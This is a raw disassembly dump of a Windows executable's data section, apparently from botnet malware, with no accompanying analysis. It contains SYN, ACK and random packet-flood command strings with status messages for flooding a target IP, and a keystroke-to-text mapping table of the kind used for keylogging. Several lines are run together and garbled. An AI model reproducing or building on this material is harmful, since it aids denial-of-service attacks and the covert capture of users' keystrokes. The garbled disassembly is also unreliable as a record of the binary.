dword_4218A0 dd 2 dup(0) ; sub_41DA93+39o ...
dword_4218A8 dd 0FFFFFFFFh, 41C749h, 41C74Dh, 0FFFFFFFFh, 41C7FDh, 41C801h
; DATA XREF: sub_41C639+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .text:off_43AA7Co
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41D7B5+119o
align 10h
asc_421B70 db 0Ah ; DATA XREF: sub_41D7B5+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41D7B5+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_41D7B5+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41D7B5+7Do
align 10h
dword_421BB0 dd 0FFFFFFFFh, 41DB8Ch, 41DB90haSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_41EA02+Ao
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_41EF8E+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_41EF8E+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_41EF8E+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41F8D8:loc_41F9CDo
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_41F8D8+D8o
align 10h
a1Ind db '1#IND',0 ; DATA XREF: sub_41F8D8+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_41F8D8+ADo
align 10h
dword_421C50 dd 0FFFFFFFFh, 4202D0h, 4202D4h, 0FFFFFFFFh, 42033Fh, 420343h
; DATA XREF: sub_420119+5o
dd 421D78h
off_421C6C dd offset loc_4208A8 ; DATA XREF: sub_4206B0+4Do
; sub_4208C4+Co
dd offset sub_42076E
dd offset sub_42088B
aStringTooLong db 'string too long',0 ; DATA XREF: sub_4206B0+1Eo
dd offset dword_421DB0
off_421C8C dd offset loc_4207D5 ; DATA XREF: sub_42070A+4Eo
; sub_420798+11o ...
dd offset sub_42076E
dd offset sub_42077B
dword_421C98 dd 0FFFFFFFFh ; sub_4207F1+34r
dd offset dword_421E00
off_421CA0 dd offset loc_420990 ; DATA XREF: sub_4208DC+4Do
; sub_4209AC+Co
dd offset sub_42076E
dd offset sub_420973
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_4208DC+1Eo
dd offset dword_421E30
off_421CC8 dd offset sub_420A12 ; DATA XREF: sub_420A2E+8o
; sub_420A6B+8o ...
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0Ah, 42h, 0
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: .text:00420AD2o
align 4
dd offset dword_421E78
off_421CE8 dd offset loc_420AED ; DATA XREF: sub_420AD8o
; .text:off_43B1A0o ...
align 10h
dword_421CF0 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0)
off_421D10 dd offset off_43B1A0 ; DATA XREF: .text:00421D60o
; .text:00421D94o ...
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_421D28 dd offset off_43B1B8 ; DATA XREF: .text:00421D5Co
; .text:00421D90o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
off_421D40 dd offset off_43B1D8 ; DATA XREF: .text:00421D58o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_421D40
dd offset off_421D28
dd offset off_421D10
dd 0
db 0 ; DATA XREF: .text:00421D88o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 421D58h, 3 dup(0)
dd offset off_43B1D8
dd offset unk_421D68
align 10h
dd offset off_421D28
dd offset off_421D10
dword_421D98 dd 4 dup(0) dd 2, 421D90h
dword_421DB0 dd 3 dup(0) dd offset off_43B1B8
dd offset dword_421D98+8
align 8
off_421DC8 dd offset off_43B1F8 ; DATA XREF: .text:00421DE0o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_421DC8
dd offset off_421D28
dd offset off_421D10
dword_421DEC dd 3 dup(0) dd 3, 421DE0h
dword_421E00 dd 3 dup(0) dd offset off_43B1F8
dd offset dword_421DEC+4
dd offset off_421D10
dword_421E18 dd 4 dup(0) dd 1, 421E14h
dword_421E30 dd 3 dup(0) dd offset off_43B1A0
dd offset dword_421E18+8
align 8
off_421E48 dd offset off_43B218 ; DATA XREF: .text:00421E60o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_421E48
dd 0
db 0 ; DATA XREF: .text:00421E88o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 421E60h
dword_421E78 dd 3 dup(0) dd offset off_43B218
dd offset unk_421E68
align 10h
dd 0FFFFFFFFh, 420B4Ch, 0
dd offset sub_420B44
dword_421EA0 dd 19930520h, 2, 421E90h, 4 dup(0) dd 0FFFFFFFFh, 420B70h, 0
dd offset loc_420B78
dword_421ECC dd 19930520h, 2, 421EBCh, 4 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 4 dup(0)
dd offset loc_404DF7
align 10h
dd 2 dup(1), 421EF8h
dword_421F1C dd 19930520h, 2, 421EE8h, 1, 421F08h, 3 dup(0)
; DATA XREF: .text:loc_420B8Co
dd offset off_43B1A0
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 420A6Bh, 2 dup(0)
dd offset off_43B1B8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4207F1h, 2 dup(0)
dd offset off_43B1D8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4208C4h, 0
dword_421F98 dd 3, 421F78h, 421F58h, 421F38hdword_421FA8 dd 0 ; sub_42088B+12o
dd offset sub_42084E
dd 0
dd offset dword_421F98
dword_421FB8 dd 19930520h, 1, 421FD8h, 5 dup(0) dd 0FFFFFFFFh, 420B98h
dword_421FE0 dd 19930520h, 1, 422000h, 5 dup(0)dword_422000 dd 0FFFFFFFFh, 420BACh, 2, 421F58h, 421F38h, 0dword_422018 dd 0 dd offset sub_420798
dd 0
dd offset dword_422000+8
dword_422028 dd 19930520h, 1, 422048h, 5 dup(0) dd 0FFFFFFFFh, 420BC0h
dword_422050 dd 19930520h, 1, 422070h, 5 dup(0) dd 0FFFFFFFFh, 420BD4h
dword_422078 dd 19930520h, 1, 422098h, 5 dup(0) dd 0FFFFFFFFh, 420BE8h, 0
dd offset off_43B1F8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4209ACh, 0
dword_4220C0 dd 3, 4220A0h, 421F58h, 421F38hdword_4220D0 dd 0 ; sub_420973+12o
dd offset sub_420936
dd 0
dd offset dword_4220C0
dword_4220E0 dd 19930520h, 1, 422100h, 5 dup(0) dd 0FFFFFFFFh, 420BFCh
dword_422108 dd 19930520h, 1, 422128h, 5 dup(0) dd 0FFFFFFFFh, 420C10h, 2231Ch, 2 dup(0)
dd 22368h, 211B0h, 2216Ch, 2 dup(0)
dd 22B0Eh, 21000h, 5 dup(0)
dd 7C85F90Fh, 7C833478h, 7C80A35Eh, 7C80D077h, 7C832044h
dd 7C80BCCFh, 7C809E01h, 7C84467Dh, 7C812641h, 7C81DC03h
dd 7C80A490h, 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h
dd 7C812F08h, 7C81CF5Bh, 7C814AE7h, 7C80C058h, 7C80929Ch
dd 7C80A427h, 7C82FA46h, 7C814EEAh, 7C80A7D4h, 7C802442h
dd 7C809BF8h, 7C80180Eh, 7C809B47h, 7C810D87h, 7C8312E5h
dd 7C801A24h, 7C80B4CFh, 7C83632Dh, 7C8361EEh, 7C910331h
dd 7C810637h, 7C810A77h, 7C81153Ch, 7C80EDD7h, 7C80E7ECh
dd 7C80E866h, 7C834EB1h, 7C8137D9h, 7C810B8Eh, 7C9010EDh
dd 7C901005h, 7C80B829h, 7C91188Ah, 7C801D77h, 7C80ADA0h
dd 7C80B6A1h, 7C82F7A0h, 7C80FE82h, 7C80FF19h, 7C80B974h
dd 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h, 7C802367h
dd 7C8329D9h, 7C812782h, 7C835DCAh, 7C81AE17h, 7C80DDFEh
dd 7C80DDF5h, 7C81E0C7h, 7C812ADEh, 7C8310F2h, 7C81CDDAh
dd 7C831EABh, 7C8309E1h, 7C809920h, 7C8286EEh, 7C802520h
dd 7C80E93Fh, 7C81CE03h, 7C835E8Fh, 7C80A0D4h, 7C8216A4h
dd 7C801E16h, 7C80D262h, 7C830B14h, 7C9105D4h, 7C91043Dh
dd 7C937A40h, 7C8350BFh, 7C80176Bh, 7C9179FDh, 7C801EEEh
dd 7C812F1Dh, 7C8111DAh, 7C814AF2h, 7C810EF8h, 7C812BB6h
dd 7C809AE4h, 7C809A51h, 7C809E79h, 7C812A09h, 7C9109EDh
dd 7C838DE8h, 7C80CCA8h, 7C812E76h, 7C809915h, 7C8127A7h
dd 7C862E2Ah, 7C81DF77h, 0
dd 71AB4428h, 71AB664Dh, 71AB3EA1h, 71AB4519h, 71AB3E00h
dd 71AB88D3h, 71AC1028h, 71AB4FD4h, 71AC0BDEh, 71AB2DC0h
dd 71AB4544h, 71AB2BF4h, 71AB2B66h, 71AB3B91h, 71AB406Ah
dd 71AB615Ah, 71AB428Ah, 71AB9639h, 0
dd 5F325357h, 642E3233h, 6C6Ch, 784500B0h, 68547469h, 64616572h
dd 1D50000h, 54746547h, 436B6369h, 746E756Fh, 2990000h
aQueryperform_1 db 'QueryPerformanceCounter',0
db 9Ah ; š
db 2, 51h, 75h
aEryperformance db 'eryPerformanceFrequency',0
db 0B9h ; ¹
db 1, 47h, 65h
aTsystemdirecto db 'tSystemDirectoryA',0
dw 16Bh
aGetlocaltime db 'GetLocalTime',0
align 2
dw 349h
aSleep db 'Sleep',0
dw 26Bh
aMultibytetowid db 'MultiByteToWideChar',0
dd 655202ABh, 69466461h, 656Ch, 6C43002Eh, 4865736Fh, 6C646E61h
dd 3970065h, 74697257h, 6C694665h, 35B0065h
aTransactnamedp db 'TransactNamedPipe',0
aM db 'M',0
aCreatefilea db 'CreateFileA',0
db 75h ; u
db 1, 47h, 65h
aTmodulefilenam db 'tModuleFileNameA',0
align 2
dw 1D6h
aGettimeformata db 'GetTimeFormatA',0
align 4
db 3Fh ; ?
db 1, 47h, 65h
aTdateformata db 'tDateFormatA',0
align 2
dw 169h
aGetlasterror db 'GetLastError',0
align 2
aI_0 db 'i',0
aCreatethread db 'CreateThread',0
align 2
dw 15Bh
aGetfilesize db 'GetFileSize',0
db 56h ; V
db 1, 47h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
db 'Å',0
aFindclose db 'FindClose',0
db '¼',0
aFiletimetosyst db 'FileTimeToSystemTime',0
align 2
db '»',0
aFiletimetoloca db 'FileTimeToLocalFileTime',0
db 'Ó',0
aFindnextfilea db 'FindNextFileA',0
db 'É',0
aFindfirstfilea db 'FindFirstFileA',0
align 2
dw 310h
aSetfilepointer db 'SetFilePointer',0
align 4
db 47h ; G
db 2, 4Ch, 65h
aAvecriticalsec db 'aveCriticalSection',0
align 4
aP db '',0
aEntercriticals db 'EnterCriticalSection',0
align 4
db 1Ah
db 2, 49h, 6Eh
aItializecritic db 'itializeCriticalSectionAndSpinCount',0
aZ db 'z',0
aDeletecritical db 'DeleteCriticalSection',0
db 48h ; H
db 2, 4Ch, 6Fh
aAdlibrarya db 'adLibraryA',0
align 4
db 98h ; ˜
db 1, 47h, 65h
aTprocaddress db 'tProcAddress',0
align 2
dw 177h
aGetmodulehandl db 'GetModuleHandleA',0
align 2
db 'ê',0
aFormatmessagea db 'FormatMessageA',0
align 4
db 0
db 2, 47h, 6Ch
aObalunlock db 'obalUnlock',0
align 4
db 0F9h ; ù
db 1, 47h, 6Ch
aOballock db 'obalLock',0
align 2
dw 365h
aUnmapviewoffil db 'UnmapViewOfFile',0
db 5Eh ; ^
db 2, 4Dh, 61h
aPviewoffile db 'pViewOfFile',0
aN db 'N',0
aCreatefilemapp db 'CreateFileMappingA',0
align 2
dw 314h
aSetfiletime db 'SetFileTime',0
db 5Dh ; ]
db 1, 47h, 65h
aTfiletime db 'tFileTime',0
db '`',0
aCreateprocessa db 'CreateProcessA',0
align 10h
db '²',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
db 0Eh
db 3, 53h, 65h
aTfileattribu_0 db 'tFileAttributesA',0
align 2
retf
; ---------------------------------------------------------------------------
db 1
aGettemppatha db 'GetTempPathA',0
align 2
dw 152h
aGetexitcodepro db 'GetExitCodeProcess',0
align 4
dd 65500287h, 614E6B65h, 5064656Dh, 657069h, 7544008Ch
dd 63696C70h, 48657461h, 6C646E61h, 13A0065h
aGetcurrentproc db 'GetCurrentProcess',0
a__0 db '_',0
aCreatepipe db 'CreatePipe',0
align 4
db 0DFh ; ß
db 1, 47h, 65h
aTversionexa db 'tVersionExA',0
db 0FAh ; ú
db 1, 47h, 6Ch
aObalmemorystat db 'obalMemoryStatus',0
align 2
aP_0 db '¯',0
aExitprocess db 'ExitProcess',0
db '|',0
aDeletefilea db 'DeleteFileA',0
dw 27Ch
aOpenprocess db 'OpenProcess',0
db 3Bh ; ;
db 1, 47h, 65h
aTcurrentproces db 'tCurrentProcessId',0
db '=',0
aCopyfilea db 'CopyFileA',0
dw 385h
aWaitforsingleo db 'WaitForSingleObject',0
aZ_0 db 'Z',0
aCreatemutexa db 'CreateMutexA',0
align 4
dd 65540352h, 6E696D72h, 54657461h, 61657268h, 2640064h
dd 65766F4Dh, 656C6946h, 3890041h
aWidechartomult db 'WideCharToMultiByte',0
dd 6547010Ch, 6D6F4374h, 65747570h, 6D614E72h, 4165h, 65540351h
dd 6E696D72h, 50657461h, 65636F72h, 7373h, 6547016Ch, 636F4C74h
dd 49656C61h, 416F666Eh, 1700000h, 4C746547h, 6369676Fh
dd 72446C61h, 73657669h, 2060000h, 70616548h, 6F6C6C41h
dd 20C0063h, 70616548h, 65657246h, 2CC0000h, 556C7452h
dd 6E69776Eh, 1D80064h
aGettimezoneinf db 'GetTimeZoneInformation',0
align 4
db 0BEh ; ¾
db 1, 47h, 65h
aTsystemtime db 'tSystemTime',0
db 10h
db 2, 48h, 65h
aAprealloc db 'apReAlloc',0
dw 1AFh
aGetstartupinfo db 'GetStartupInfoA',0
db 8
db 1, 47h, 65h
aTcommandlinea db 'tCommandLineA',0
dw 1DEh
aGetversion db 'GetVersion',0
align 4
db 50h ; P
db 1, 47h, 65h
aTenvironmentva db 'tEnvironmentVariableA',0
dw 20Ah
aHeapdestroy db 'HeapDestroy',0
db 8
db 2, 48h, 65h
aApcreate db 'apCreate',0
align 2
dw 378h
aVirtualfree db 'VirtualFree',0
db 75h ; u
db 3, 56h, 69h
aRtualalloc db 'rtualAlloc',0
align 4
db 2Ch ; ,
db 2, 49h, 73h
aBadwriteptr db 'BadWritePtr',0
db 9Dh ;
db 2, 52h, 61h
aIseexception db 'iseException',0
align 2
dw 212h
aHeapsize db 'HeapSize',0
align 2
dw 23Ah
aLcmapstringa db 'LCMapStringA',0
align 2
dw 23Bh
aLcmapstringw db 'LCMapStringW',0
align 2
dw 0FCh
aGetcpinfo db 'GetCPInfo',0
dw 0F5h
aGetacp db 'GetACP',0
align 4
db 8Bh ; ‹
db 1, 47h, 65h
aToemcp db 'tOEMCP',0
align 4
db 62h ; b
db 3, 55h, 6Eh
aHandledexcepti db 'handledExceptionFilter',0
align 4
aA_0 db 'í',0
aFreeenvironmen db 'FreeEnvironmentStringsA',0
aU db 'î',0
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
db 4Dh ; M
db 1, 47h, 65h
aTenvironmentst db 'tEnvironmentStrings',0
db 4Fh ; O
db 1, 47h, 65h
aTenvironment_0 db 'tEnvironmentStringsW',0
align 2
dw 319h
aSethandlecount db 'SetHandleCount',0
align 4
dd 654701B1h, 64745374h, 646E6148h, 656Ch, 6547015Eh, 6C694674h
dd 70795465h, 1B20065h, 53746547h, 6E697274h, 70795467h
dd 4165h, 654701B5h, 72745374h, 54676E69h, 57657079h, 32C0000h
dd 53746553h, 61486474h, 656C646Eh, 0E50000h, 73756C46h
dd 6C694668h, 66754265h, 73726566h, 33D0000h
aSetunhandledex db 'SetUnhandledExceptionFilter',0
db 29h ; )
db 2, 49h, 73h
aBadreadptr db 'BadReadPtr',0
align 10h
db 26h ; &
db 2, 49h, 73h
aBadcodeptr db 'BadCodePtr',0
align 10h
db 5
db 3, 53h, 65h
aTendoffile db 'tEndOfFile',0
align 10h
a4 db '4',0
aComparestringa db 'CompareStringA',0
align 2
a5 db '5',0
aComparestringw db 'CompareStringW',0
align 4
db 8
db 3, 53h, 65h
aTenvironment_1 db 'tEnvironmentVariableA',0
aKernel32_dll db 'KERNEL32.dll',0
align 4
dd 139h dup(0)
dword_423000 dd 0 dd offset sub_4036B6
dd offset sub_404EA5
dd offset sub_4209C4
dword_423010 dd 0 dword_423014 dd 0 dd offset sub_4166E2
dd offset sub_41CC21
dd offset sub_41D972
dd offset sub_41E7E4
dword_423028 dd 0 dword_42302C dd 0 dd offset sub_41DA17
dword_423034 dd 0 dword_423038 dd 0 dd offset sub_41E7F5
dword_423040 dd 4 dup(0) unk_423050 db 2 ; DATA XREF: start+5Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDoneWithFloodI db ' Done with flood (%iKB/sec).',0
align 4
unk_42308C db 2 ; DATA XREF: sub_4010B2+31Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendErrorD_ db ' Send error: <%d>.',0
align 10h
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B2:loc_4011DEo
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B2:loc_4011C2o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B2+F1o
align 8
unk_4230E8 db 2 ; DATA XREF: sub_401444+390o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSendingPa db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
db '.',0
align 10h
unk_423150 db 2 ; DATA XREF: sub_401444+326o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aDoneWithSFlood db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
db ').',0
unk_4231B4 db 2 ; DATA XREF: sub_401444+12Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aInvalidTargetI db 'Invalid target IP.',0
align 4
unk_4231E8 db 2 ; DATA XREF: sub_401444+C2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSetsockop db 'Error: setsockopt() failed, returned: <%d>.',0
align 8
unk_423238 db 2 ; DATA XREF: sub_401444+49o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketFai db 'Error: socket() failed, returned: <%d>.',0
dword_423280 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_40182F+48o
dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0
align 4
dword_4232BC dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_4018CB+295o
dd 2029206Ch, 2BBBB02h
aSendErrorD__0 db ' Send error: <%d>.',0
align 10h
dword_4232F0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD4+4E4o
dd 2029206Ch, 2BBBB02h
aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 8
dword_423358 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD4+471o
dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
aRandom db 'random',0 ; DATA XREF: sub_401BD4+2FDo
; sub_40CD3A+2A6Do ...
align 4
aAck db 'ack',0 ; DATA XREF: sub_401BD4+2DDo
; sub_40CD3A+2A56o
aSyn db 'syn',0 ; DATA XREF: sub_401BD4+2BDo
; sub_40CD3A+2A3Eo
dword_4233CC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD4+15Fo
dd 2029206Ch, 2BBBB02h
aInvalidTarge_0 db ' Invalid target IP.',0
align 10h
dword_423400 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD4+EEo
dd 2029206Ch, 2BBBB02h
aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0
align 10h
dword_423450 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD4+70o
dd 2029206Ch, 2BBBB02h
aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0
align 4
dw 8
unicode 0, <>,0
aB: ; DATA XREF: sub_4021FB:loc_4022DEo
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
